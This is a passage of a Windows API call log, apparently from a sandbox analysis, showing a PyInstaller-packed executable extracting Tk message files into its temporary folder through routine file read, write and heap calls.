lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\hu.msg") returned 60 [0044.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\hu.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\hu.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.663] GetFileType (hFile=0x10c) returned 0x1 [0044.663] htonl (hostlong=0xec110000) returned 0x11ec [0044.663] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.664] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1ec, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x1ec, lpOverlapped=0x0) returned 1 [0044.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.664] CloseHandle (hObject=0x10c) returned 1 [0044.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.664] htonl (hostlong=0x30000000) returned 0x30 [0044.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.664] GetFileType (hFile=0x10c) returned 0x1 [0044.664] htonl (hostlong=0x4e385f00) returned 0x5f384e [0044.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63e84e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.664] htonl (hostlong=0xb6030000) returned 0x3b6 [0044.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3b6) returned 0x550600 [0044.664] htonl (hostlong=0xb6030000) returned 0x3b6 [0044.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.665] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.665] htonl (hostlong=0xe50d0000) returned 0xde5 [0044.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xde5) returned 0x55e278 [0044.665] htonl (hostlong=0xb6030000) returned 0x3b6 [0044.665] htonl (hostlong=0xe50d0000) returned 0xde5 [0044.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.665] CloseHandle (hObject=0x10c) returned 1 [0044.665] GetLastError () returned 0x0 [0044.665] SetLastError (dwErrCode=0x0) [0044.665] GetLastError () returned 0x0 [0044.665] SetLastError (dwErrCode=0x0) [0044.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.666] GetFileType (hFile=0x10c) returned 0x1 [0044.666] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.666] CloseHandle (hObject=0x10c) returned 1 [0044.666] GetLastError () returned 0x0 [0044.666] SetLastError (dwErrCode=0x0) [0044.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.666] GetFileType (hFile=0x10c) returned 0x1 [0044.666] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.667] CloseHandle (hObject=0x10c) returned 1 [0044.667] GetLastError () returned 0x0 [0044.667] SetLastError (dwErrCode=0x0) [0044.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\it.msg") returned 60 [0044.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\it.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\it.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.667] GetLastError () returned 0x2 [0044.667] SetLastError (dwErrCode=0x2) [0044.667] GetLastError () returned 0x2 [0044.667] SetLastError (dwErrCode=0x2) [0044.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\it.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\it.msg", lpFilePart=0x0) returned 0x3b [0044.667] GetLastError () returned 0x2 [0044.667] SetLastError (dwErrCode=0x2) [0044.667] GetLastError () returned 0x2 [0044.667] SetLastError (dwErrCode=0x2) [0044.667] GetLastError () returned 0x2 [0044.667] SetLastError (dwErrCode=0x2) [0044.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\it.msg") returned 60 [0044.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\it.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\it.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.667] GetFileType (hFile=0x10c) returned 0x1 [0044.668] htonl (hostlong=0xe50d0000) returned 0xde5 [0044.668] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.668] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xde5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xde5, lpOverlapped=0x0) returned 1 [0044.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.669] CloseHandle (hObject=0x10c) returned 1 [0044.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.669] htonl (hostlong=0x30000000) returned 0x30 [0044.669] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.669] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.669] GetFileType (hFile=0x10c) returned 0x1 [0044.669] htonl (hostlong=0x43c5f00) returned 0x5f3c04 [0044.669] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63ec04, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.669] htonl (hostlong=0xc9070000) returned 0x7c9 [0044.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7c9) returned 0x55e278 [0044.669] htonl (hostlong=0xc9070000) returned 0x7c9 [0044.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.669] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.669] htonl (hostlong=0xb71b0000) returned 0x1bb7 [0044.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bb7) returned 0x562098 [0044.669] htonl (hostlong=0xc9070000) returned 0x7c9 [0044.669] htonl (hostlong=0xb71b0000) returned 0x1bb7 [0044.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563c58 [0044.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563c58 | out: hHeap=0x530000) returned 1 [0044.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.670] CloseHandle (hObject=0x10c) returned 1 [0044.670] GetLastError () returned 0x0 [0044.670] SetLastError (dwErrCode=0x0) [0044.670] GetLastError () returned 0x0 [0044.670] SetLastError (dwErrCode=0x0) [0044.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.670] GetFileType (hFile=0x10c) returned 0x1 [0044.670] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.670] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.670] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.670] CloseHandle (hObject=0x10c) returned 1 [0044.670] GetLastError () returned 0x0 [0044.670] SetLastError (dwErrCode=0x0) [0044.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.670] GetFileType (hFile=0x10c) returned 0x1 [0044.670] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.670] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.671] CloseHandle (hObject=0x10c) returned 1 [0044.671] GetLastError () returned 0x0 [0044.671] SetLastError (dwErrCode=0x0) [0044.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\nl.msg") returned 60 [0044.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\nl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\nl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.671] GetLastError () returned 0x2 [0044.671] SetLastError (dwErrCode=0x2) [0044.671] GetLastError () returned 0x2 [0044.671] SetLastError (dwErrCode=0x2) [0044.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\nl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\nl.msg", lpFilePart=0x0) returned 0x3b [0044.671] GetLastError () returned 0x2 [0044.671] SetLastError (dwErrCode=0x2) [0044.671] GetLastError () returned 0x2 [0044.671] SetLastError (dwErrCode=0x2) [0044.671] GetLastError () returned 0x2 [0044.671] SetLastError (dwErrCode=0x2) [0044.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\nl.msg") returned 60 [0044.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\nl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\nl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.672] GetFileType (hFile=0x10c) returned 0x1 [0044.672] htonl (hostlong=0xb71b0000) returned 0x1bb7 [0044.672] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.673] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.673] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb7, lpOverlapped=0x0) returned 1 [0044.673] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.673] CloseHandle (hObject=0x10c) returned 1 [0044.673] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.673] htonl (hostlong=0x30000000) returned 0x30 [0044.673] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.673] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.673] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.673] GetFileType (hFile=0x10c) returned 0x1 [0044.673] htonl (hostlong=0xcd435f00) returned 0x5f43cd [0044.673] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63f3cd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.673] htonl (hostlong=0x65040000) returned 0x465 [0044.673] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x465) returned 0x550600 [0044.673] htonl (hostlong=0x65040000) returned 0x465 [0044.673] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.673] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.674] htonl (hostlong=0x700f0000) returned 0xf70 [0044.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf70) returned 0x562098 [0044.674] htonl (hostlong=0x65040000) returned 0x465 [0044.674] htonl (hostlong=0x700f0000) returned 0xf70 [0044.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563010 [0044.674] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563010 | out: hHeap=0x530000) returned 1 [0044.674] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.674] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.674] CloseHandle (hObject=0x10c) returned 1 [0044.674] GetLastError () returned 0x0 [0044.674] SetLastError (dwErrCode=0x0) [0044.674] GetLastError () returned 0x0 [0044.674] SetLastError (dwErrCode=0x0) [0044.675] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.675] GetFileType (hFile=0x10c) returned 0x1 [0044.675] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.675] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.675] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.675] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 